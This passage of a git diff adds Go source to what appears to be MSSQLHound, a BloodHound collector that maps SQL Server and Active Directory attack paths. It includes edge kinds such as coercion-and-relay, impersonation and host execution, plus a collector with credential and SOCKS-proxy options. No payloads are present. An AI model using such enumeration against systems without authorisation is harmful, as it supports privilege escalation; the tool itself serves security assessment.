escapeAndUpper(ctx.TargetID) + "'}),\n(coercionvictim:Computer {objectid: '" + strings.ToUpper(ctx.SecurityIdentifier) + "'})\nMATCH p0 = (source)-[:CoerceAndRelayToMSSQL]->(target)\nMATCH p1 = (server)-[:MSSQL_Contains]->(target)\nMATCH p2 = (coercionvictim)-[:MSSQL_HasLogin]->(target)\nMATCH p3 = (target)-[:MSSQL_Connect]->(server)\nRETURN p0, p1, p2, p3" + }, +} diff --git a/go/internal/bloodhound/seed_data.json b/go/internal/bloodhound/seed_data.json new file mode 100644 index 0000000..a5ec3c3 --- /dev/null +++ b/go/internal/bloodhound/seed_data.json @@ -0,0 +1,53 @@ +{ + "metadata": { + "source_kind": "MSSQL_Seed" + }, + "graph": { + "nodes": [ + { + "kinds": ["IgnoreMe"], + "id": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01", + "properties": { "name": "IgnoreMe" } + } + ], + "edges": [ + { "kind": "CoerceAndRelayToMSSQL", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_AddMember", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_Alter", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_AlterAnyAppRole", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_AlterAnyDBRole", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_AlterAnyLogin", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_AlterAnyServerRole", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_ChangeOwner", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_ChangePassword", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_Connect", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_ConnectAnyDatabase", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_Contains", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_Control", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_ControlDB", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_ControlServer", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_ExecuteAs", "start": { "value": "dbuser-6cfe3d9a-9c2e-4d73-bc70-8a53f8bb5d61" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_ExecuteAsOwner", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_ExecuteOnHost", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_GetAdminTGS", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_GetTGS", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_GrantAnyDBPermission", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_GrantAnyPermission", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_HasDBScopedCred", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_HasLogin", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_HasMappedCred", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_HasProxyCred", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_HostFor", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_Impersonate", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_ImpersonateAnyLogin", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_IsMappedTo", "start": { "value": "dbuser-6cfe3d9a-9c2e-4d73-bc70-8a53f8bb5d61" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_IsTrustedBy", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_LinkedAsAdmin", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_LinkedTo", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_MemberOf", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_Owns", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_ServiceAccountFor", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } }, + { "kind": "MSSQL_TakeOwnership", "start": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" }, "end": { "value": "9c3a1f7a-1d6b-4d87-b61b-1c3b7a9e4f01" } } + ] + } +} diff --git a/go/internal/bloodhound/writer.go b/go/internal/bloodhound/writer.go new file mode 100644 index 0000000..bc9297a --- /dev/null +++ b/go/internal/bloodhound/writer.go @@ -0,0 +1,510 @@ +// Package bloodhound provides BloodHound OpenGraph JSON output generation. +package bloodhound + +import ( + _ "embed" + "encoding/json" + "fmt" + "io" + "os" + "path/filepath" + "sync" +) + +//go:embed seed_data.json +var SeedDataJSON []byte + +// Node represents a BloodHound graph node +type Node struct { + ID string `json:"id"` + Kinds []string `json:"kinds"` + Properties map[string]interface{} `json:"properties"` + Icon *Icon `json:"icon,omitempty"` +} + +// Edge represents a BloodHound graph edge +type Edge struct { + Start EdgeEndpoint `json:"start"` + End EdgeEndpoint `json:"end"` + Kind string `json:"kind"` + Properties map[string]interface{} `json:"properties,omitempty"` +} + +// EdgeEndpoint represents the start or end of an edge +type EdgeEndpoint struct { + Value string `json:"value"` +} + +// Icon represents a node icon +type Icon struct { + Type string `json:"type"` + Name string `json:"name"` + Color string `json:"color"` +} + +// StreamingWriter handles streaming JSON output for BloodHound format +type StreamingWriter struct { + file *os.File + encoder *json.Encoder + mu sync.Mutex + nodeCount int + edgeCount int + firstNode bool + firstEdge bool + inEdges bool + filePath string + seenEdges map[string]bool // dedup: "source|target|kind" +} + +// NewStreamingWriter creates a new streaming BloodHound JSON writer +func NewStreamingWriter(filePath string) (*StreamingWriter, error) { + return newStreamingWriter(filePath, "MSSQL_Base") +} + +// NewStreamingWriterNoSourceKind creates a streaming writer without source_kind metadata. +// Used for AD object files (computers.json, users.json, groups.json). +func NewStreamingWriterNoSourceKind(filePath string) (*StreamingWriter, error) { + return newStreamingWriter(filePath, "") +} + +func newStreamingWriter(filePath string, sourceKind string) (*StreamingWriter, error) { + // Ensure directory exists + dir := filepath.Dir(filePath) + if err := os.MkdirAll(dir, 0755); err != nil { + return nil, fmt.Errorf("failed to create directory: %w", err) + } + + file, err := os.Create(filePath) + if err != nil { + return nil, fmt.Errorf("failed to create file: %w", err) + } + + w := &StreamingWriter{ + file: file, + firstNode: true, + firstEdge: true, + filePath: filePath, + seenEdges: make(map[string]bool), + } + + // Write header + if err := w.writeHeader(sourceKind); err != nil { + file.Close() + return nil, err + } + + return w, nil +} + +// writeHeader writes the initial JSON structure +func (w *StreamingWriter) writeHeader(sourceKind string) error { + var header string + if sourceKind != "" { + header = `{ + "$schema": "https://raw.githubusercontent.com/MichaelGrafnetter/EntraAuthPolicyHound/refs/heads/main/bloodhound-opengraph.schema.json", + "metadata": { + "source_kind": "` + sourceKind + `" + }, + "graph": { + "nodes": [ +` + } else { + header = `{ + "$schema": "https://raw.githubusercontent.com/MichaelGrafnetter/EntraAuthPolicyHound/refs/heads/main/bloodhound-opengraph.schema.json", + "metadata": {}, + "graph": { + "nodes": [ +` + } + _, err := w.file.WriteString(header) + return err +} + +// WriteNode writes a single node to the output +func (w *StreamingWriter) WriteNode(node *Node) error { + w.mu.Lock() + defer w.mu.Unlock() + + if w.inEdges { + return fmt.Errorf("cannot write nodes after edges have started") + } + + // Write comma if not first node + if !w.firstNode { + if _, err := w.file.WriteString(",\n"); err != nil { + return err + } + } + w.firstNode = false + + // Marshal and write the node + data, err := json.Marshal(node) + if err != nil { + return err + } + + if _, err := w.file.WriteString(" "); err != nil { + return err + } + if _, err := w.file.Write(data); err != nil { + return err + } + + w.nodeCount++ + return nil +} + +// WriteEdge writes a single edge to the output. If edge is nil or a duplicate, it is silently skipped. +func (w *StreamingWriter) WriteEdge(edge *Edge) error { + if edge == nil { + return nil + } + + w.mu.Lock() + defer w.mu.Unlock() + + // Deduplicate by full edge content (JSON-serialized). + // This ensures truly identical edges (same source, target, kind, AND properties) + // are deduped, while edges with same source/target/kind but different properties + // (e.g., LinkedTo edges with different localLogin mappings) are kept. + edgeJSON, err := json.Marshal(edge) + if err != nil { + return err + } + edgeKey := string(edgeJSON) + if w.seenEdges[edgeKey] { + return nil + } + w.seenEdges[edgeKey] = true + + // Transition from nodes to edges if needed + if !w.inEdges { + if err := w.transitionToEdges(); err != nil { + return err + } + } + + // Write comma if not first edge + if !w.firstEdge { + if _, err := w.file.WriteString(",\n"); err != nil { + return err + } + } + w.firstEdge = false + + // Marshal and write the edge + data, err := json.Marshal(edge) + if err != nil { + return err + } + + if _, err := w.file.WriteString(" "); err != nil { + return err + } + if _, err := w.file.Write(data); err != nil { + return err + } + + w.edgeCount++ + return nil +} + +// transitionToEdges closes the nodes array and starts the edges array +func (w *StreamingWriter) transitionToEdges() error { + transition := ` + ], + "edges": [ +` + _, err := w.file.WriteString(transition) + if err != nil { + return err + } + w.inEdges = true + return nil +} + +// Close finalizes the JSON and closes the file +func (w *StreamingWriter) Close() error { + w.mu.Lock() + defer w.mu.Unlock() + + // If we never wrote edges, transition now + if !w.inEdges { + if err := w.transitionToEdges(); err != nil { + return err + } + } + + // Write footer + footer := ` + ] + } +} +` + if _, err := w.file.WriteString(footer); err != nil { + return err + } + + return w.file.Close() +} + +// Stats returns the number of nodes and edges written +func (w *StreamingWriter) Stats() (nodes, edges int) { + w.mu.Lock() + defer w.mu.Unlock() + return w.nodeCount, w.edgeCount +} + +// FilePath returns the path to the output file +func (w *StreamingWriter) FilePath() string { + return w.filePath +} + +// FileSize returns the current size of the output file +func (w *StreamingWriter) FileSize() (int64, error) { + info, err := w.file.Stat() + if err != nil { + return 0, err + } + return info.Size(), nil +} + +// NodeKinds defines the BloodHound node kinds for MSSQL objects +var NodeKinds = struct { + Server string + Database string + Login string + ServerRole string + DatabaseUser string + DatabaseRole string + ApplicationRole string + User string + Group string + Computer string +}{ + Server: "MSSQL_Server", + Database: "MSSQL_Database", + Login: "MSSQL_Login", + ServerRole: "MSSQL_ServerRole", + DatabaseUser: "MSSQL_DatabaseUser", + DatabaseRole: "MSSQL_DatabaseRole", + ApplicationRole: "MSSQL_ApplicationRole", + User: "User", + Group: "Group", + Computer: "Computer", +} + +// EdgeKinds defines the BloodHound edge kinds for MSSQL relationships +var EdgeKinds = struct { + MemberOf string + IsMappedTo string + Contains string + Owns string + ControlServer string + ControlDB string + ControlDBRole string + ControlDBUser string + ControlLogin string + ControlServerRole string + Impersonate string + ImpersonateAnyLogin string + ImpersonateDBUser string + ImpersonateLogin string + ChangePassword string + AddMember string + Alter string + AlterDB string + AlterDBRole string + AlterServerRole string + Control string + ChangeOwner string + AlterAnyLogin string + AlterAnyServerRole string + AlterAnyRole string + AlterAnyDBRole string + AlterAnyAppRole string + GrantAnyPermission string + GrantAnyDBPermission string + LinkedTo string + ExecuteAsOwner string + IsTrustedBy string + HasDBScopedCred string + HasMappedCred string + HasProxyCred string + ServiceAccountFor string + HostFor string + ExecuteOnHost string + TakeOwnership string + DBTakeOwnership string + CanExecuteOnServer string + CanExecuteOnDB string + Connect string + ConnectAnyDatabase string + ExecuteAs string + HasLogin string + GetTGS string + GetAdminTGS string + HasSession string + LinkedAsAdmin string + CoerceAndRelayTo string +}{ + MemberOf: "MSSQL_MemberOf", + IsMappedTo: "MSSQL_IsMappedTo", + Contains: "MSSQL_Contains", + Owns: "MSSQL_Owns", + ControlServer: "MSSQL_ControlServer", + ControlDB: "MSSQL_ControlDB", + ControlDBRole: "MSSQL_ControlDBRole", + ControlDBUser: "MSSQL_ControlDBUser", + ControlLogin: "MSSQL_ControlLogin", + ControlServerRole: "MSSQL_ControlServerRole", + Impersonate: "MSSQL_Impersonate", + ImpersonateAnyLogin: "MSSQL_ImpersonateAnyLogin", + ImpersonateDBUser: "MSSQL_ImpersonateDBUser", + ImpersonateLogin: "MSSQL_ImpersonateLogin", + ChangePassword: "MSSQL_ChangePassword", + AddMember: "MSSQL_AddMember", + Alter: "MSSQL_Alter", + AlterDB: "MSSQL_AlterDB", + AlterDBRole: "MSSQL_AlterDBRole", + AlterServerRole: "MSSQL_AlterServerRole", + Control: "MSSQL_Control", + ChangeOwner: "MSSQL_ChangeOwner", + AlterAnyLogin: "MSSQL_AlterAnyLogin", + AlterAnyServerRole: "MSSQL_AlterAnyServerRole", + AlterAnyRole: "MSSQL_AlterAnyRole", + AlterAnyDBRole: "MSSQL_AlterAnyDBRole", + AlterAnyAppRole: "MSSQL_AlterAnyAppRole", + GrantAnyPermission: "MSSQL_GrantAnyPermission", + GrantAnyDBPermission: "MSSQL_GrantAnyDBPermission", + LinkedTo: "MSSQL_LinkedTo", + ExecuteAsOwner: "MSSQL_ExecuteAsOwner", + IsTrustedBy: "MSSQL_IsTrustedBy", + HasDBScopedCred: "MSSQL_HasDBScopedCred", + HasMappedCred: "MSSQL_HasMappedCred", + HasProxyCred: "MSSQL_HasProxyCred", + ServiceAccountFor: "MSSQL_ServiceAccountFor", + HostFor: "MSSQL_HostFor", + ExecuteOnHost: "MSSQL_ExecuteOnHost", + TakeOwnership: "MSSQL_TakeOwnership", + DBTakeOwnership: "MSSQL_DBTakeOwnership", + CanExecuteOnServer: "MSSQL_CanExecuteOnServer", + CanExecuteOnDB: "MSSQL_CanExecuteOnDB", + Connect: "MSSQL_Connect", + ConnectAnyDatabase: "MSSQL_ConnectAnyDatabase", + ExecuteAs: "MSSQL_ExecuteAs", + HasLogin: "MSSQL_HasLogin", + GetTGS: "MSSQL_GetTGS", + GetAdminTGS: "MSSQL_GetAdminTGS", + HasSession: "HasSession", + LinkedAsAdmin: "MSSQL_LinkedAsAdmin", + CoerceAndRelayTo: "CoerceAndRelayToMSSQL", +} + +// Icons defines the default icons for MSSQL node types +var Icons = map[string]*Icon{ + NodeKinds.Server: { + Type: "font-awesome", + Name: "server", + Color: "#42b9f5", + }, + NodeKinds.Database: { + Type: "font-awesome", + Name: "database", + Color: "#f54242", + }, + NodeKinds.Login: { + Type: "font-awesome", + Name: "user-gear", + Color: "#dd42f5", + }, + NodeKinds.ServerRole: { + Type: "font-awesome", + Name: "users-gear", + Color: "#6942f5", + }, + NodeKinds.DatabaseUser: { + Type: "font-awesome", + Name: "user", + Color: "#f5ef42", + }, + NodeKinds.DatabaseRole: { + Type: "font-awesome", + Name: "users", + Color: "#f5a142", + }, + NodeKinds.ApplicationRole: { + Type: "font-awesome", + Name: "robot", + Color: "#6ff542", + }, +} + +// CopyIcon returns a copy of an icon +func CopyIcon(icon *Icon) *Icon { + if icon == nil { + return nil + } + return &Icon{ + Type: icon.Type, + Name: icon.Name, + Color: icon.Color, + } +} + +// WriteToFile writes the complete output to a file (non-streaming) +func WriteToFile(filePath string, nodes []Node, edges []Edge) error { + output := struct { + Schema string `json:"$schema"` + Metadata struct { + SourceKind string `json:"source_kind"` + } `json:"metadata"` + Graph struct { + Nodes []Node `json:"nodes"` + Edges []Edge `json:"edges"` + } `json:"graph"` + }{ + Schema: "https://raw.githubusercontent.com/MichaelGrafnetter/EntraAuthPolicyHound/refs/heads/main/bloodhound-opengraph.schema.json", + } + output.Metadata.SourceKind = "MSSQL_Base" + output.Graph.Nodes = nodes + output.Graph.Edges = edges + + file, err := os.Create(filePath) + if err != nil { + return err + } + defer file.Close() + + encoder := json.NewEncoder(file) + encoder.SetIndent("", " ") + return encoder.Encode(output) +} + +// ReadFromFile reads BloodHound JSON from a file +func ReadFromFile(filePath string) ([]Node, []Edge, error) { + file, err := os.Open(filePath) + if err != nil { + return nil, nil, err + } + defer file.Close() + + return ReadFrom(file) +} + +// ReadFrom reads BloodHound JSON from a reader +func ReadFrom(r io.Reader) ([]Node, []Edge, error) { + var output struct { + Graph struct { + Nodes []Node `json:"nodes"` + Edges []Edge `json:"edges"` + } `json:"graph"` + } + + decoder := json.NewDecoder(r) + if err := decoder.Decode(&output); err != nil { + return nil, nil, err + } + + return output.Graph.Nodes, output.Graph.Edges, nil +} diff --git a/go/internal/collector/collector.go b/go/internal/collector/collector.go new file mode 100644 index 0000000..96c4fe1 --- /dev/null +++ b/go/internal/collector/collector.go @@ -0,0 +1,6147 @@ +// Package collector orchestrates the MSSQL data collection process. +package collector + +import ( + "archive/zip" + "context" + "fmt" + "io" + "net" + "os" + "os/exec" + "path/filepath" + "runtime" + "sort" + "strconv" + "strings" + "sync" + "time" + + "github.com/SpecterOps/MSSQLHound/internal/ad" + "github.com/SpecterOps/MSSQLHound/internal/bloodhound" + "github.com/SpecterOps/MSSQLHound/internal/mssql" + "github.com/SpecterOps/MSSQLHound/internal/proxydialer" + "github.com/SpecterOps/MSSQLHound/internal/types" + "github.com/SpecterOps/MSSQLHound/internal/wmi" +) + +// Config holds the collector configuration +type Config struct { + // Connection options + ServerInstance string + ServerListFile string + ServerList string + UserID string + Password string + Domain string + DCIP string // Domain controller hostname or IP address + DNSResolver string // DNS resolver to use for lookups + LDAPUser string + LDAPPassword string + + // Output options + OutputFormat string + TempDir string + ZipDir string + FileSizeLimit string + Verbose bool + Debug bool + + // Collection options + DomainEnumOnly bool + SkipLinkedServerEnum bool + CollectFromLinkedServers bool + SkipPrivateAddress bool + ScanAllComputers bool + SkipADNodeCreation bool + IncludeNontraversableEdges bool + MakeInterestingEdgesTraversable bool + + // Timeouts and limits + LinkedServerTimeout int + MemoryThresholdPercent int + FileSizeUpdateInterval int + + // Concurrency + Workers int // Number of concurrent workers (0 = sequential) + + // Proxy + ProxyAddr string // SOCKS5 proxy address for tunneling all traffic +} + +// Collector handles the data collection process +type Collector struct { + config *Config + proxyDialer proxydialer.ContextDialer + tempDir string + outputFiles []string + outputFilesMu sync.Mutex // Protects outputFiles + serversToProcess []*ServerToProcess + linkedServersToProcess []*ServerToProcess // Linked servers discovered during processing + linkedServersMu sync.Mutex // Protects linkedServersToProcess + serverSPNData map[string]*ServerSPNInfo // Track SPN data for each server, keyed by ObjectIdentifier + serverSPNDataMu sync.RWMutex // Protects serverSPNData + skippedChangePasswordEdges map[string]bool // Track unique skipped ChangePassword edges for CVE-2025-49758 + skippedChangePasswordMu sync.Mutex // Protects skippedChangePasswordEdges + ldapAuthFailed bool // Set when LDAP auth fails with invalid credentials to prevent lockout + ldapAuthFailedMu sync.RWMutex // Protects ldapAuthFailed + spnEnumerationDone bool // true after initial broad SPN sweep completed + + // Accumulated AD nodes across all servers for separate file output + adComputers []*bloodhound.Node + adUsers []*bloodhound.Node + adGroups []*bloodhound.Node + adSeenNodes map[string]bool // Dedup AD nodes by ID across servers + adNodesMu sync.Mutex // Protects adComputers, adUsers, adGroups, adSeenNodes +} + +// ServerToProcess holds information about a server to be processed +type ServerToProcess struct { + Hostname string // FQDN or short hostname + Port int // Port number (default 1433) + InstanceName string // Named instance (empty for default) + ObjectIdentifier string // SID:port or SID:instance + ConnectionString string // String to use for SQL connection + ComputerSID string // Computer SID + DiscoveredFrom string // Hostname of server this was discovered from (for linked servers) + Domain string // Domain inferred from the source server (for linked servers) +} + +// ServerSPNInfo holds SPN-related data discovered from Active Directory +type ServerSPNInfo struct { + SPNs []string + ServiceAccounts []types.ServiceAccount + AccountName string + AccountSID string +} + +// New creates a new collector +func New(config *Config) *Collector { + return &Collector{ + config: config, + serverSPNData: make(map[string]*ServerSPNInfo), + adSeenNodes: make(map[string]bool), + } +} + +// getDNSResolver returns the DNS resolver to use, applying the logic: +// if --dc-ip is specified but --dns-resolver is not, use dc-ip as the resolver +func (c *Collector) getDNSResolver() string { + if c.config.DNSResolver != "" { + return c.config.DNSResolver + } + if c.config.DCIP != "" { + return c.config.DCIP + } + return "" +} + +// newADClient creates a new AD client with proxy settings if configured. +// Returns nil if a previous LDAP attempt already failed with invalid credentials +// to prevent further authentication attempts that could lock out the AD account. +func (c *Collector) newADClient(domain string) *ad.Client { + c.ldapAuthFailedMu.RLock() + failed := c.ldapAuthFailed + c.ldapAuthFailedMu.RUnlock() + if failed { + return nil + } + adClient := ad.NewClient(domain, c.config.DCIP, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver()) + if c.proxyDialer != nil { + adClient.SetProxyDialer(c.proxyDialer) + } + return adClient +} + +// setLDAPAuthFailed marks LDAP authentication as failed to prevent further attempts. +func (c *Collector) setLDAPAuthFailed() { + c.ldapAuthFailedMu.Lock() + c.ldapAuthFailed = true + c.ldapAuthFailedMu.Unlock() +} + +// isLDAPAuthError checks if an error indicates invalid LDAP credentials. +func isLDAPAuthError(err error) bool { + if err == nil { + return false + } + errStr := err.Error() + return strings.Contains(errStr, "Invalid Credentials") || + strings.Contains(errStr, "invalid credentials") || + strings.Contains(errStr, "Result Code 49") +} + +// newMSSQLClient creates a new MSSQL client with proxy settings if configured. +func (c *Collector) newMSSQLClient(serverInstance, userID, password string) *mssql.Client { + client := mssql.NewClient(serverInstance, userID, password) + if c.proxyDialer != nil { + client.SetProxyDialer(c.proxyDialer) + } + return client +} + +// Run executes the collection process +func (c *Collector) Run() error { + // Create proxy dialer if configured + if c.config.ProxyAddr != "" { + pd, err := proxydialer.New(c.config.ProxyAddr) + if err != nil { + return fmt.Errorf("failed to create proxy dialer: %w", err) + } + c.proxyDialer = pd + } + + // Setup temp directory + if err := c.setupTempDir(); err != nil { + return fmt.Errorf("failed to setup temp directory: %w", err) + } + fmt.Printf("Temporary output directory: %s\n", c.tempDir) + + // Build list of servers to process + if err := c.buildServerList(); err != nil { + return fmt.Errorf("failed to build server list: %w", err) + } + + if len(c.serversToProcess) == 0 { + return fmt.Errorf("no servers to process") + } + + fmt.Printf("\nProcessing %d SQL Server(s)...\n", len(c.serversToProcess)) + c.logVerbose("Memory usage: %s", c.getMemoryUsage()) + + // Track all processed servers to avoid duplicates + processedServers := make(map[string]bool) + + // Process servers (concurrently if workers > 0) + if c.config.Workers > 0 { + c.processServersConcurrently() + // Mark all initial servers as processed + for _, server := range c.serversToProcess { + processedServers[strings.ToLower(server.Hostname)] = true + } + } else { + // Sequential processing + for i, server := range c.serversToProcess { + fmt.Printf("\n[%d/%d] Processing %s...\n", i+1, len(c.serversToProcess), server.ConnectionString) + processedServers[strings.ToLower(server.Hostname)] = true + + if err := c.processServer(server); err != nil { + fmt.Printf("Warning: failed to process %s: %v\n", server.ConnectionString, err) + // Continue with other servers + } + } + } + + // Process linked servers recursively if enabled + if c.config.CollectFromLinkedServers { + c.processLinkedServersQueue(processedServers) + } + + // Write accumulated AD nodes to separate files (computers.json, users.json, groups.json) + if !c.config.SkipADNodeCreation { + if err := c.writeADFiles(); err != nil { + return fmt.Errorf("failed to write AD files: %w", err) + } + } + + // Create zip file + if len(c.outputFiles) > 0 { + zipPath, err := c.createZipFile() + if err != nil { + return fmt.Errorf("failed to create zip file: %w", err) + } + fmt.Printf("\nOutput written to: %s\n", zipPath) + } else { + fmt.Println("\nNo data collected - no output file created") + } + + return nil +} + +// serverJob represents a server processing job +type serverJob struct { + index int + server *ServerToProcess +} + +// serverResult represents the result of processing a server +type serverResult struct { + index int + server *ServerToProcess + outputFile string + err error +} + +// processServersConcurrently processes servers using a worker pool +func (c *Collector) processServersConcurrently() { + numWorkers := c.config.Workers + totalServers := len(c.serversToProcess) + + fmt.Printf("Using %d concurrent workers\n", numWorkers) + + // Create channels + jobs := make(chan serverJob, totalServers) + results := make(chan serverResult, totalServers) + + // Start workers + var wg sync.WaitGroup + for w := 1; w <= numWorkers; w++ { + wg.Add(1) + go c.serverWorker(w, jobs, results, &wg) + } + + // Send jobs + for i, server := range c.serversToProcess { + jobs <- serverJob{index: i, server: server} + } + close(jobs) + + // Wait for workers in a goroutine + go func() { + wg.Wait() + close(results) + }() + + // Collect results + successCount := 0 + failCount := 0 + for result := range results { + if result.err != nil { + fmt.Printf("[%d/%d] %s: FAILED - %v\n", result.index+1, totalServers, result.server.ConnectionString, result.err) + failCount++ + } else { + fmt.Printf("[%d/%d] %s: OK\n", result.index+1, totalServers, result.server.ConnectionString) + successCount++ + } + } + + fmt.Printf("\nCompleted: %d succeeded, %d failed\n", successCount, failCount) +} + +// serverWorker is a worker goroutine that processes servers from the jobs channel +func (c *Collector) serverWorker(id int, jobs <-chan serverJob, results chan<- serverResult, wg *sync.WaitGroup) { + defer wg.Done() + + for job := range jobs { + c.logVerbose("Worker %d: processing %s", id, job.server.ConnectionString) + + err := c.processServer(job.server) + + results <- serverResult{ + index: job.index, + server: job.server, + err: err, + } + } +} + +// addOutputFile adds an output file to the list (thread-safe) +func (c *Collector) addOutputFile(path string) { + c.outputFilesMu.Lock() + defer c.outputFilesMu.Unlock() + c.outputFiles = append(c.outputFiles, path) +} + +// setupTempDir creates the temporary directory for output files +func (c *Collector) setupTempDir() error { + if c.config.TempDir != "" { + c.tempDir = c.config.TempDir + return nil + } + + timestamp := time.Now().Format("20060102-150405") + tempPath := os.TempDir() + c.tempDir = filepath.Join(tempPath, fmt.Sprintf("mssql-bloodhound-%s", timestamp)) + + return os.MkdirAll(c.tempDir, 0755) +} + +// parseServerString parses a server string (hostname, hostname:port, hostname\instance, SPN) +// and 